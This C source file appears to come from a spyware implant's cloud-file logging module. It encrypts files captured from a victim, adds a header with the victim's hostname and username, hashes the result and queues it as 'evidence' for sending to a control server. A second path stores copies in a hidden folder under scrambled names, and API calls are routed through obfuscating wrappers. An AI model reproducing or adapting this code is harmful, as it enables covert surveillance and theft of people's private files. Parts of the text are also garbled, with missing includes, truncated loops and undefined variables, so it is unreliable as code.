#include #include "globals.h" #include "log_cloudfile.h" #include "proto.h" #include "zmem.h" #include "aes.h" #include "sha1.h" #include "utils.h" #include "crypt.h" aes_context crypt_ctx; LOG_CLOUD_ENTRY_STRUCT g_log_table[MAX_LOG_ENTRIES]; //add an entry to a logfile BOOL LogCloud_ReportLog(DWORD agent_tag, BYTE *buff, DWORD buff_len) { LPBYTE lpcEvBuffer=NULL; DWORD dwEvSize; //encrypt the buffer lpcEvBuffer = PackEncryptEvidence(buff_len, buff, agent_tag, NULL, 0, &dwEvSize); znfree((LPVOID*)&buff); if(lpcEvBuffer == NULL) return LC_E_GENERIC; return LogCloud_QueueLog(agent_tag, lpcEvBuffer, dwEvSize); } //add a log to the log queue BOOL LogCloud_QueueLog(DWORD agent_tag, BYTE *buff, DWORD buff_len) { //check the size of the log buffer if(LogCloud_IsBufferFull(buff_len)) { znfree(&buff); return LC_E_BUFFER_FULL; } for(int i=0; i MAX_CLOUD_FILE_SIZE) { #ifdef _DEBUG OutputDebugString(L"\r\n[LOG] The log buffer is FULL\r\n"); OutputDebugString(L"\r\n"); #endif return TRUE; } #endif return FALSE; } //copy the file content in the log buffer BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag) { DWORD dwRet = 0; //vede se la dimensione e' consistente if (pCloudFile->dwFileSize == 0) return LC_E_GENERIC; // Effettua la vera copia. //if(LogCloud_CryptCopyBuffer(pCloudFile, agent_tag) != LC_E_SUCCESS) return (LogCloud_CryptCopyBuffer_Hash(pCloudFile, agent_tag)); } LPBYTE LogCloud_EncryptPayload(LPBYTE pIn, DWORD *pdwSize, DWORD dwChunkSize) { DWORD i, dwEncLen=0, dwPayloadSize=0, dwAlignedChunk=0, dwExtraBytes=1024; if(pdwSize == NULL) return NULL; if(*pdwSize == 0) return NULL; if(pIn == NULL) return NULL; //align the size of the buffer DWORD dwAlignedSize = Align(*pdwSize, 16); dwAlignedChunk = Align(dwChunkSize, 16); //add extra bytes to avoid reallocs (for each encrypt function call, 4 bytes are added to store the block len) LPBYTE pPayload = (LPBYTE)zalloc(dwAlignedSize + dwExtraBytes); if(pPayload == NULL) return NULL; LPBYTE pEncBuf=NULL, pChunk=NULL, pTmp=NULL; pChunk = pIn; pTmp = pPayload; pEncBuf = (LPBYTE)malloc(dwAlignedChunk); if(pEncBuf == NULL) { znfree(&pPayload); return NULL; } //loop to encrypt the buffer according to the chunk size for(i=0, dwPayloadSize; i<*pdwSize; i+=dwAlignedChunk) { RtlSecureZeroMemory(pEncBuf, dwAlignedChunk); if((i + dwAlignedChunk) > *pdwSize) { memcpy(pEncBuf, pChunk, (*pdwSize - i)); dwAlignedChunk = Align((*pdwSize - i), 16); } else memcpy(pEncBuf, pChunk, dwAlignedChunk); if((dwPayloadSize+dwAlignedChunk+4) > (dwAlignedSize+dwExtraBytes)) //4 bytes are for the size of the enctypted chunk (for each chunk) { //realloc the buffer dwAlignedSize = Align(dwPayloadSize+dwAlignedChunk, 16); if(LogCloud_ReallocBuf(&pPayload, dwAlignedSize+dwExtraBytes) != LC_E_SUCCESS) { znfree(&pPayload); znfree(&pEncBuf); return NULL; } pTmp = pPayload; pTmp += dwPayloadSize; } //encrypt the buffer Encrypt(pEncBuf, dwAlignedChunk, pLogKey, PAD_NOPAD); *(LPDWORD)pTmp = dwAlignedChunk; pTmp += sizeof(DWORD); //copy the encrypted buffer to the payload memcpy(pTmp, pEncBuf, dwAlignedChunk); pTmp += dwAlignedChunk; pChunk += dwAlignedChunk; dwPayloadSize += (dwAlignedChunk + sizeof(DWORD)); } //free mem znfree(&pEncBuf); *pdwSize = dwPayloadSize; return pPayload; } //copy the evidence packet and hash it so when the evidence is sent, no new buffer must be allocated again. BOOL LogCloud_CryptCopyBuffer_Hash(PGD_FILE pCloudFile, DWORD agent_tag) { pFileAdditionalData pAdditionalData=NULL; LPBYTE pBuf=NULL, pcHeaderData=NULL, pcEncHeader=NULL, pcPayload=NULL; DWORD dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0, dwCmdSize=0, dwAlignedCmdSize=0; //check the buffer for available size if(LogCloud_IsBufferFull(pCloudFile->dwFileSize)) { return LC_E_BUFFER_FULL; } dwPayloadSize = pCloudFile->dwFileSize; //encrypt the file buffer pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN); if(pcPayload == NULL) return LC_E_GENERIC; znfree(&pCloudFile->pcFileBuf); //create the header to write in the file buffer pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR)); if(pcHeaderData == NULL) { znfree(&pcPayload); return LC_E_ALLOC; } //create the log header pAdditionalData = (pFileAdditionalData)pcHeaderData; pAdditionalData->uVersion = LOG_FILE_VERSION; pAdditionalData->uFileNameLen = wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR); //copy the struct info to the header buffer memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen); //create the log header (size + hostname + username + additional data) all encrypted but the first DWORD pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen); znfree(&pcHeaderData); if(pcEncHeader == NULL) { znfree(&pcPayload); return LC_E_GENERIC; } //size of the packet dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize; //size of the evidence packet dwCmdSize = sizeof(DWORD) + dwPacketSize + 20; //size of the hashed cmd to send to server //align the size dwAlignedCmdSize = dwCmdSize; if(dwAlignedCmdSize % 16) dwAlignedCmdSize += 16 - (dwAlignedCmdSize % 16); else dwAlignedCmdSize += 16; //generate the packet LPBYTE pcPacket=NULL, pTmp=NULL; pcPacket = (LPBYTE)zalloc(dwAlignedCmdSize); if(pcPacket == NULL) { znfree(&pcPayload); znfree(&pcEncHeader); return LC_E_GENERIC; } pTmp = pcPacket; //command *(LPDWORD)pTmp = (DWORD)PROTO_EVIDENCE; pTmp += sizeof(DWORD); //packet size *(LPDWORD)pTmp = (DWORD)dwPacketSize; pTmp += sizeof(DWORD); //header memcpy(pTmp, pcEncHeader, dwHeaderLen); znfree(&pcEncHeader); pTmp += dwHeaderLen; //payload memcpy(pTmp, pcPayload, dwPayloadSize); znfree(&pcPayload); pTmp += dwPayloadSize; //hash the packet BYTE pSha1Digest[20]; CalculateSHA1(pSha1Digest, pcPacket, dwCmdSize-20); memcpy(pTmp, pSha1Digest, 20); #ifdef _DEBUG OutputDebugString(L"\r\n[LOG] Logging cloud file\r\n"); OutputDebugString(pCloudFile->pwszFileName); OutputDebugString(L"\r\n"); #endif //queue the log with the cmd size and not the aligned size //because the SendEvidence_Encrypt have to encrypt the buffer content with that size. //The encryption cannot be done here because the session key is different for every sync return LogCloud_QueueLog(agent_tag, pcPacket, dwCmdSize); } //copy the log buffer obfuscating it BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag) { pFileAdditionalData pAdditionalData=NULL; LPBYTE pcHeaderData=NULL, pcEncHeader=NULL, pcPayload=NULL; DWORD dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0; //check the buffer for available size if(LogCloud_IsBufferFull(pCloudFile->dwFileSize)) { return LC_E_BUFFER_FULL; } dwPayloadSize = pCloudFile->dwFileSize; //encrypt the file buffer pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN); if(pcPayload == NULL) return LC_E_GENERIC; znfree(&pCloudFile->pcFileBuf); //create the header to write in the file buffer pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR)); if(pcHeaderData == NULL) { znfree(&pcPayload); return LC_E_ALLOC; } //create the log header pAdditionalData = (pFileAdditionalData)pcHeaderData; pAdditionalData->uVersion = LOG_FILE_VERSION; pAdditionalData->uFileNameLen = wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR); //copy the struct info to the header buffer memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen); //create the log header (size + hostname + username + additional data) all encrypted but the first DWORD pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen); znfree(&pcHeaderData); if(pcEncHeader == NULL) { znfree(&pcEncHeader); znfree(&pcPayload); return LC_E_GENERIC; } //size of the packet dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize; //generate the packet LPBYTE pcPacket=NULL, pTmp=NULL; pcPacket = (LPBYTE)malloc(dwPacketSize); pTmp = pcPacket; //packet size *(LPDWORD)pTmp = (DWORD)dwPacketSize; pTmp += sizeof(DWORD); //header memcpy(pTmp, pcEncHeader, dwHeaderLen); znfree(&pcEncHeader); pTmp += dwHeaderLen; //payload memcpy(pTmp, pcPayload, dwPayloadSize); znfree(&pcPayload); //queue the log return LogCloud_QueueLog(agent_tag, pcPacket, dwPacketSize); } /* //copy the log buffer obfuscating it - working BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag) { FileAdditionalData *file_additiona_data_header=NULL; LPBYTE pBuf=NULL; LPBYTE file_additional_data=NULL; LPBYTE log_file_header=NULL, pTmpBuf=NULL; WCHAR *to_display=NULL; DWORD dwHeaderLen=0; LPBYTE pEncBuf = NULL; DWORD dwCopiedSize=0, dwEncLen=0, i, dwWrSize, dwChunkSize; BOOL bErr = FALSE; //check the size of the log buffer if(LogCloud_IsBufferFull(pCloudFile->dwFileSize)) { return FALSE; } to_display = pCloudFile->pwszFileName; //create the header to write in the file buffer if(!(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR)))) return FALSE; file_additiona_data_header = (FileAdditionalData*)file_additional_data; file_additiona_data_header->uVersion = LOG_FILE_VERSION; file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR); memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen); //enctypt the evidence pEncBuf = PackEncryptEvidence(pCloudFile->dwFileSize, pCloudFile->pcFileBuf, agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &dwEncLen); //free mem znfree(&pCloudFile->pcFileBuf); if(bErr == TRUE) { znfree(&pEncBuf); return FALSE; } //queue the log return LogCloud_QueueLog(agent_tag, pEncBuf, dwEncLen); } */ /* // Formatta il buffer per l'invio di un log // Non usa PrepareCommand per evitare di dover allocare due volte la dimensione del file LPBYTE LogCloud_PrepareBuffer(LPBYTE lpBuf, DWORD *pdwBufLen) { SHA1Context sha; DWORD tot_len, pad_len, i; BYTE *buffer, *ptr; aes_context crypt_ctx; DWORD msg_len, bytes_left; BYTE iv[16]; DWORD command = PROTO_EVIDENCE; HANDLE hfile; DWORD n_read; DWORD rand_pad_len = 0; // if(pdwBufLen) // *pdwBufLen = 0; rand_pad_len = (rand()%15)+1; msg_len = *pdwBufLen; //round size pad_len = tot_len = sizeof(DWORD)*2 + msg_len + SHA_DIGEST_LENGTH; tot_len/=16; tot_len++; tot_len*=16; pad_len = tot_len - pad_len; // alloca il buffer if(!(buffer = (BYTE *)malloc(tot_len + rand_pad_len))){ CloseHandle(hfile); return NULL; } // scrive il buffer memset(buffer, pad_len, tot_len); ptr = buffer; memcpy(ptr, &command, sizeof(DWORD)); ptr += sizeof(DWORD); memcpy(ptr, &msg_len, sizeof(DWORD)); ptr += sizeof(DWORD); // copia il contenuto del file lpBuf += 4; memcpy(ptr, lpBuf, msg_len); //bytes_left = msg_len; //while (bytes_left > 0) { // if (!ReadFile(hfile, ptr, bytes_left, &n_read, NULL) || n_read==0) { // CloseHandle(hfile); // return NULL; // } // ptr += n_read; // bytes_left -= n_read; //} //CloseHandle(hfile); // Calcola lo sha1 sulla prima parte del buffer SHA1Reset(&sha); SHA1Input(&sha, buffer, sizeof(DWORD)*2 + msg_len); if (!SHA1Result(&sha)) { free(buffer); return NULL; } // ..lo scrive for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest)); // cifra il tutto aes_set_key( &crypt_ctx, (BYTE *)pSessionKey, 128); memset(iv, 0, sizeof(iv)); //aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, tot_len); aes_cbc_encrypt_pkcs5(&crypt_ctx, iv, buffer, buffer, tot_len); //rand_bin_seq(buffer + tot_len, rand_pad_len); AppendRandomData(buffer + tot_len, rand_pad_len); if(pdwBufLen) *pdwBufLen = tot_len + rand_pad_len; return buffer; } */ //realloc a buffer BOOL LogCloud_ReallocBuf(LPBYTE *pOldBuf, DWORD dwNewSize) { LPBYTE pTmp = NULL; //realloc the dest buffer to contain the new chunk pTmp = *pOldBuf; *pOldBuf = (LPBYTE)realloc(*pOldBuf, dwNewSize); if(*pOldBuf == NULL) { znfree(&pTmp); return LC_E_ALLOC; } return LC_E_SUCCESS; } #ifdef H4DLL_EXPORTS DWORD LogCloud_WCharToMB(LPWSTR pIn, LPSTR* pOut) { DWORD dwSize; //return the number of chars needed by dest buffer dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, 0, 0, 0, 0); if(dwSize == 0) return LC_CONV_ERROR; //alloc dest buffer *pOut = (LPSTR)zalloc(dwSize); if(*pOut == NULL) return LC_ALLOC_ERROR; //conversion dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, *pOut, dwSize, 0 , 0); if(dwSize == 0) return LC_CONV_ERROR; return LC_SUCCESS; } //copy the log buffer obfuscating it BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag) { HANDLE hsrc, hdst; BY_HANDLE_FILE_INFORMATION dst_info; DWORD existent_file_size = 0; DWORD dwRead; BYTE *temp_buff; BYTE *file_additional_data; BYTE *log_file_header; FileAdditionalData *file_additiona_data_header; DWORD header_len; WCHAR *to_display; if (display_name) to_display = display_name; else to_display = src_path; // Crea l'header da scrivere nel file if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR)))) return FALSE; file_additiona_data_header = (FileAdditionalData *)file_additional_data; file_additiona_data_header->uVersion = LOG_FILE_VERSION; file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR); memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen); log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len); SAFE_FREE(file_additional_data); if (!log_file_header) return FALSE; // Prende le info del file destinazione (se esiste) hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hdst != INVALID_HANDLE_VALUE) { if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) { existent_file_size = dst_info.nFileSizeLow; } CloseHandle(hdst); } if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) { SAFE_FREE(log_file_header); return FALSE; } hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hsrc == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } // Controlla che ci sia ancora spazio per scrivere su disco if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) { SAFE_FREE(temp_buff); SAFE_FREE(log_file_header); CloseHandle(hsrc); return FALSE; } hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hdst == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); CloseHandle(hsrc); return FALSE; } // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco // recuperata. log_free_space += existent_file_size; // Scrive l'header nel file if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) { CloseHandle(hsrc); CloseHandle(hdst); SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } if (log_free_space >= header_len) log_free_space -= header_len; SAFE_FREE(log_file_header); FNC(FlushFileBuffers)(hdst); // Cicla finche riesce a leggere (e/o a scrivere) LOOP { dwRead = 0; if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) ) break; // La Log_WriteFile sottrae la quota disco di ogni scrittura // Esce perche' quando il file da leggere e' finito dwRead e' 0 // e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte if (!Log_WriteFile(hdst, temp_buff, dwRead)) break; } SAFE_FREE(temp_buff); CloseHandle(hsrc); CloseHandle(hdst); return TRUE; } //Copy the file in the hidden folder, hashing del path. //Files with the same hashed path are ovrewritten. BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag) { HANDLE hfile; BY_HANDLE_FILE_INFORMATION src_info, dst_info; char red_fname[100]; char log_wout_path[_MAX_FNAME]; char dest_file_path[DLLNAMELEN]; char dest_file_mask[DLLNAMELEN]; char *scrambled_name; nanosec_time src_date, dst_date; FILETIME time_nanosec; //SYSTEMTIME system_time; WIN32_FIND_DATA ffdata; HANDLE hFind = INVALID_HANDLE_VALUE; //Vede se la dimensione e' consistente if (pCloudFile->dwFileSize == 0) return FALSE; // fa lo SHA1 del path in red_fname SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (const unsigned char *)pCloudFile->pwszFileName, (DWORD)(wcslen(pCloudFile->pwszFileName)*2)); if (!SHA1Result(&sha)) return FALSE; memset(red_fname, 0, sizeof(red_fname)); for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]); // Vede se ha gia' catturato questo file... _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_mask); SAFE_FREE(scrambled_name); hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata); if (hFind != INVALID_HANDLE_VALUE) { //...se l'ha gia' catturato usa il vecchio nome HM_CompletePath(ffdata.cFileName, dest_file_path); FNC(FindClose)(hFind); } else { // ...altrimenti gli crea un nome col timestamp attuale FNC(GetSystemTimeAsFileTime)(&time_nanosec); //FNC(SystemTimeToFileTime)(&system_time, &time_nanosec); _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_path); SAFE_FREE(scrambled_name); } // Prende le info del file destinazione (se esiste) hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hfile != INVALID_HANDLE_VALUE) { if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) { CloseHandle(hfile); return FALSE; } CloseHandle(hfile); // Compara le date dei due file (evita riscritture dello stesso file) src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime; src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime; dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime; dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime; if (!IsGreaterDate(&src_date, &dst_date)) return FALSE; } // Effettua la vera copia. if (!LogCloud_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) return FALSE; return TRUE; } #endif .